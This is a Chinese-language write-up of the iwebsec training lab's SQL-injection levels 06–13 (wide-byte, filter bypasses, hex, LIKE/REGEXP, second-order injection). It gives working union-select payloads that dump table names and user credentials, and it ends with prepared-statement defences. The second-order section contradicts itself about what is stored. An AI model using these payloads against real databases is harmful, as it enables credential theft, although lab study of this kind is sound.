iwebsec靶场sqli注入(2)
06-宽字节注入
1,该漏洞的根本原因是字符集处理不一致(GBK双字节特性)与不安全的转义方式(addslashes)共同导致。构造基础sql注入语句
1%df%27%20%23
漏洞原理
- 字符集设置:mysql_query("SET NAMES gbk") 将连接字符集设置为GBK(一种双字节编码)。
- 输入处理:使用addslashes($_GET['id'])转义特殊字符(如单引号'会被转义为\')。
- 漏洞触发:当输入中包含%df'时:
- addslashes将其转义为%df\'(即%df%5c%27)
- GBK解码时,%df%5c被解析为汉字"運"(%df%5c是GBK编码中的合法字符)
- 最终单引号'逃逸:...id='運'... → 导致SQL语句闭合被破坏
2,其他步骤和sql注入的基本操作是一样的,先判断当前查询的数据表有几列
1%df%27%20order%20by%203%23
1%df%27%20order%20by%204%23
然后就是判断查询语句的回显位置
-1%df%27%20union%20select%201,2,3%23
确认三个都是回显位置之后,再爆出数据库名
-1%df%27%20union%20select%201,version(),database()%23
-1%df%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23
-1%df%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x73716c69%20--%20
原内容 | 修正后 | 原因 |
table_name='sqli' | table_name=0x73716c69 | 避免引号被转义,0x73716c69 是 'sqli' 的十六进制 |
--+ | --%20 | 确保注释符后有空格(%20 是 URL 编码的空格) |
开头 -1%df%27 | 保留 | 利用宽字节注入绕过转义(%df' → 運') |
-1%df%27%20union%20select%20id,username,password%20from%20sqli--%20
07-空格过滤绕过
1,首先分析源代码,代码如何实现的空格绕过
空格过滤实现机制
if (preg_match('/ /', $_GET["id"])) {
die("ERROR");
}
- 正则表达式过滤:使用 preg_match('/ /', ...) 检测输入中是否包含空格字符
- 检测到空格立即终止:如果输入中包含任何空格(ASCII 32),直接执行 die("ERROR") 终止脚本
- 过滤位置:在SQL查询构造前进行过滤,位于用户输入处理阶段
关键安全漏洞
虽然过滤了空格,但存在严重的SQL注入漏洞:
$id=$_GET['id']; // 未做任何转义或过滤
$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1"; // 直接拼接
- 数字型注入:参数直接拼接到SQL语句中,没有引号包裹
- 无其他防护:缺少参数化查询、类型转换等安全措施
- 错误信息暴露:print_r(mysql_error()) 会显示详细数据库错误
绕过空格过滤的方法
攻击者可以使用以下字符替代空格:
1. 水平制表符 (TAB)
?id=1%09UNION%09SELECT%091,2,3
2. 换行符
?id=1%0aUNION%0aSELECT%0a1,version(),3
3. 注释符 /**/
?id=1/**/UNION/**/SELECT/**/1,2,database()
4. 括号包裹
?id=(1)UNION(SELECT(1),2,3)
2,构造关键攻击语句,四种方法均可
(1)#
1%09#
1%0a#
1/**/#
第一步,判断查询数据表有几列
1/**/order/**/by/**/3#
1/**/order/**/by/**/4#
1/**/union/**/select/**/1,2,3#
-1/**/union/**/select/**/1,version(),database()#
-1/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
-1/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='sqli'#
-1/**/union/**/select/**/id,username,password/**/from/**/sqli--
在 SQL 注入中,# 和 -- 注释符的行为差异主要与 URL 编码和 SQL 语法有关。以下是详细解释:
根本原因
- URL 中 # 的特殊含义:
- # 在 URL 中是片段标识符(fragment identifier),浏览器不会将 # 及之后的内容发送到服务器
- 例如:example.com/test.php?id=1#comment → 服务器只收到 id=1
- -- 注释的要求:
- SQL 标准要求 -- 后必须有空格才能生效
- 在 URL 中需用 --+(+ 被解码为空格)或 --%20(%20 是空格编码)
08-大小写过滤绕过
1,大小写过滤实现方法
if (preg_match('/select/', $_GET["id"])) {
die("ERROR");
}
- 正则表达式过滤:使用 preg_match('/select/', ...) 检测输入中是否包含小写字符串 "select"
- 区分大小写:正则表达式默认区分大小写,只匹配小写 select
- 检测到即终止:发现小写 select 时立即终止脚本 (die("ERROR"))
2,尝试order by注释符判断数据表存在几列
1 order by 4 --+
再尝试union select爆出数据库名
1 union SELECT 1,2,3 --+
1 union SELECT 1,version(),database() --+
1 union SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
1 union SELECT 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sqli'--+
1 union SELECT id,username,password from sqli--+
09-双写关键字绕过
过滤逻辑分析
$id = preg_replace('/select/i', '', $_GET["id"]);
- 正则表达式过滤:
- 模式:/select/i
- i 修饰符:不区分大小写(匹配 SELECT、select、SeLeCt 等)
- 功能:删除输入中所有出现的 "select" 字符串(不区分大小写)
- 处理流程:
- 获取用户输入的 id 参数
- 删除其中所有 "select" 字符串(不区分大小写)
- 将处理后的字符串用于 SQL 查询拼接
双写绕过原理
攻击者通过构造双写关键字来绕过过滤:
- 过滤机制缺陷:仅执行一次字符串替换
- 绕过方法:插入 selselectect → 过滤后变为 select
- 原始输入:selselectect
- 过滤过程:
- 删除中间的 "select" → sel[删除]ect
- 结果:select
1,sql注入语句的基本格式是1 --+,尝试判断数据表存在多少列
1 order by 3--+
1 order by 4--+
2,然后再union select判断查询语句的回显位置,需要注意使用双写绕过
1 union%20 selselectect%20 1,2,3--+
1 union%20 selselectect%20 1,version(),database()--+
1 union%20 selselectect%20 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
1 union%20 selselectect%20 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sqli'--+
1 union%20 selselectect%20 id,username,password from sqli--+
10-双重url编码绕过
防御机制分析
if (preg_match('/select/', $_GET["id"])) {
die("ERROR");
} else {
$id = urldecode($_GET['id']); // 关键漏洞点
$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
}
- 关键词过滤:
- 使用 preg_match('/select/', ...) 检测原始GET参数中是否包含小写字符串 "select"
- 检测到即终止脚本 (die("ERROR"))
- URL解码处理:
- 对过滤后的参数执行 urldecode() 解码
- 将解码后的值直接拼接到SQL查询中
1,尝试构造注入语句
?id=-1 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 1,2,3#
爆库
?id=-1 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 1,2,database()#
爆表
?id=-1 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x69776562736563#
爆列
?id=-1 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 1,2,group_concat(column_name) from information_schema.columns where table_name=0x75736572#
爆数据
?id=-1 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34 1,2,group_concat(concat_ws(0x7e,username,password)) from iwebsec.user#
11-十六进制绕过
防御机制分析
if (!get_magic_quotes_gpc()) {
$id = addslashes($_GET['id']);
$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
}else{
$id =$_GET['id'];
$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
}
- get_magic_quotes_gpc()检测:
- 检查PHP配置中magic_quotes_gpc是否开启
- 该功能在PHP 5.4+已被移除,现代PHP环境总是进入if分支
- addslashes()转义:
- 在特殊字符('、"、\、NULL)前添加反斜杠
- 示例:' → \'," → \"
关键安全漏洞
1. 数字型注入漏洞
$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
- 致命缺陷:参数直接拼接到SQL语句,没有引号包裹
- addslashes()对数字型注入完全无效
- 攻击者可以构造任意SQL表达式
2. 十六进制绕过机会
当需要字符串参数时,可使用十六进制编码绕过addslashes():
SELECT * FROM user WHERE id=0x31 OR 1=1
1,构造漏洞利用语句
1 order by 3 --+
1 order by 4 --+
2,尝试判断数据表存在几列
1 union select 1,2,3--+
1 union select 1,version(),database()--+
1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='sqli'--+
-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x73716c69
1 union select 1,2,(select group_concat(concat(id,0x7e,username,0x3A,password,0x7e)) from sqli)--+
12-等价函数替换过滤绕过
过滤逻辑分析
1. 等号过滤机制
if (preg_match('/=/', $_GET["id"])) {
die("ERROR");
}
- 正则表达式:/=/ 匹配参数中任何位置的等号 =
- 拦截效果:只要 id 参数包含等号(即使是 URL 编码的 %3D),立即终止脚本并返回 "ERROR"
- 绕过关键:构造不包含等号但能实现 SQL 注入的 Payload
2. SQL 查询结构
$sql = "SELECT * FROM user WHERE id=$id LIMIT 0,1";
- 注入点类型:数字型注入(无引号包裹)
- 漏洞位置:$id 直接拼接进 SQL 语句
- 可利用点:无需闭合引号,可直接注入 SQL 代码
3. 错误信息泄露
print_r(mysql_error());
- 关键优势:SQL 报错信息直接输出,支持报错注入
- 利用价值:可通过错误信息获取数据库结构、查询内容等敏感数据
绕过方案(避免使用等号)
方案 1:使用 LIKE 替代等号(联合查询注入)
/12.php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema like database() and table_name like 0x73716c69--+
绕过原理:
- LIKE 实现字符串匹配,功能等效于 =
- 0x73716c69 是 'sqli' 的十六进制,避免单引号
Payload 分解:
- -1:使原查询无结果,联合查询结果可见
- like database():替代 = database()
- like 0x73716c69:替代 = 'sqli'
方案 2:使用 REGEXP 正则匹配
/12.php?id=1 or table_schema regexp database()--+
- 优势:正则匹配更灵活,可处理部分匹配
- 典型场景:布尔盲注中逐字符判断
/12.php?id=1 or (select database()) regexp '^a'--+
完整利用链示例
步骤 1:获取表名
/12.php?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema like database()--+
步骤 2:获取列名
/12.php?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema like database() and table_name like 0x73716c69--+
步骤 3:提取数据
/12.php?id=-1 union select 1,username,password from sqli--+
13-二次注入
二次注入原理分析
漏洞核心流程
- 输入阶段:用户提交恶意数据(含 SQL 片段)
- 安全处理:addslashes() 转义特殊字符(如 ' → \')
- 存储阶段:转义后的数据存入数据库
- 取出阶段:从数据库取出原始数据(转义符被丢弃)
- 执行阶段:原始恶意数据拼接到 SQL 语句执行
漏洞存在点分析
// 1. 输入处理(注册时)
$username=addslashes($_POST['username']); // 转义特殊字符
// 存入数据库示例:admin'# → 存储为 "admin\'#"
// 2. 漏洞触发点(reset.php)
// 假设 reset.php 中有如下代码:
$email = $_POST['email']; // 从表单获取邮箱
$sql = "SELECT username FROM sqli WHERE email='$email'"; // 二次注入点
漏洞利用演示
- 注册恶意账户:
- 用户名:admin'# (转义后存储为 admin\'#)
- 密码:任意值
- 邮箱:attacker@example.com
- 数据库实际存储:
username | password | |
admin'# | 123456 | attacker@example.com |
- 注意:数据库存储 原始值 admin'#(反斜杠仅存在于插入时的转义过程)
- 密码重置攻击:
// reset.php 代码示例
$email = $_POST['email']; // 用户输入:attacker@example.com
$sql = "UPDATE sqli SET password='new_pass' WHERE email='$email'";
// 实际执行:
// UPDATE sqli SET password='new_pass' WHERE email='attacker@example.com'
- 看似安全,但攻击者可构造:
$email = "attacker@example.com' AND username='admin'#";
- 最终 SQL:
UPDATE sqli SET password='new_pass'
WHERE email='attacker@example.com' AND username='admin'#' - 效果:将 admin 用户的密码重置为 new_pass
漏洞本质原因
- 转义机制失效:
- addslashes() 仅在 数据插入时 提供保护
- 当数据从数据库取出后,原始值被直接使用,转义符消失
- 数据信任错误:
- 开发者误认为"存入数据库的数据都是安全的"
- 未对从数据库取出的数据做二次验证
- 上下文差异:
- 注册时:数据作为 VALUES 部分被插入
- 重置时:数据作为 WHERE 条件被执行
漏洞利用步骤
- 注册恶意账户:
POST /reg.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=admin'#&password=attack&email=attacker@example.com - 触发密码重置:
POST /reset.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
email=attacker@example.com' AND username='admin'# - 实际执行 SQL:
UPDATE sqli SET password='new_pass'
WHERE email='attacker@example.com' AND username='admin'#'
- # 注释掉后续单引号
- 条件成立:同时匹配攻击者邮箱和 admin 用户名
防御方案
- 统一输出过滤:
// 从数据库取出数据后再次转义
$email = mysql_real_escape_string($row['email']); - 使用预处理语句:
// reset.php 中
$stmt = $pdo->prepare("UPDATE sqli SET password=? WHERE email=?");
$stmt->execute([$new_pass, $email]); - 数据分级管理:
- 区分用户输入数据 vs 系统存储数据
- 对所有动态值进行参数化处理
- 最小权限原则:
- 密码重置功能使用独立低权限账户
- 禁止执行多行 SQL
漏洞验证方法
- 注册用户名为 test' OR '1'='1 的账户
- 尝试用邮箱 任意值 重置密码
- 观察是否重置所有用户密码(或报错信息泄露)
1,注册用户名填admin'#,密码填123,邮箱填admin
然后通过邮箱找回
抓个包分析即可。首先注册用户
然后找回密码